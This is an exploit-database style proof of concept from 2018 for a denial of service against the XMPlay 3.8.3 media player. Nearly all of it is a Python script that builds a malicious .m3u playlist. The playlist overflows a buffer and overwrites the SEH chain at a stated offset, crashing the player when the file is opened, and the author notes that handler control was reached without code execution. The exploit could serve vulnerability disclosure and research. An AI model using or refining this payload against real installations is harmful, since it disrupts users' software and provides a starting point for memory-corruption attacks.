XMPlay 3.8.3 – ‘.m3u’ Denial of Service (PoC)
# Exploit Title: XMPlay 3.8.3 - '.m3u' Denial of Service (PoC) # Date: 2018-11-18 # Exploit Author: s7acktrac3 # Vendor Homepage: https://www.xmplay.com/ # Software Link: https://support.xmplay.com/files_view.php?file_id=676 # Version: 3.8.3 (latest) # Tested on: Windows XP/7/8 # CVE : N/A # # Lauch XMPlay and either drag xmplay.m3u into the XMPlay window or # File Menu-> select winamp.m3u and Crash! # -*- coding: utf-8 -*- # # Note: Successfully can overwrite the SEH chain & control the handler and nSEH # but the address get mangled & unreconizable, for this reason could not turn into # code execution. import struct from struct import pack file_data = "#EXTM3U\n\r" file_data += "#EXTINF:200,Sleep Away\n\r" file_data += "http://test." max_size = 3000 - 1 nseh_offset = 656 seh_overwrite = pack("<L", 0x00402450) payload = "A" * nseh_offset # padding for nseh payload += "BBBB" # nseh payload += seh_overwrite # seh #padding for rest of payload - pipe "|" is needed somehow to force crash payload += "D" *(max_size - len(payload)) + "|" print "[+] Creating .m3u file with payload size: "+ str(len(payload)) exploit = file_data + payload file = open('xmplay.m3u','w'); file.write(exploit); file.close(); print "[+] Done creating the file" |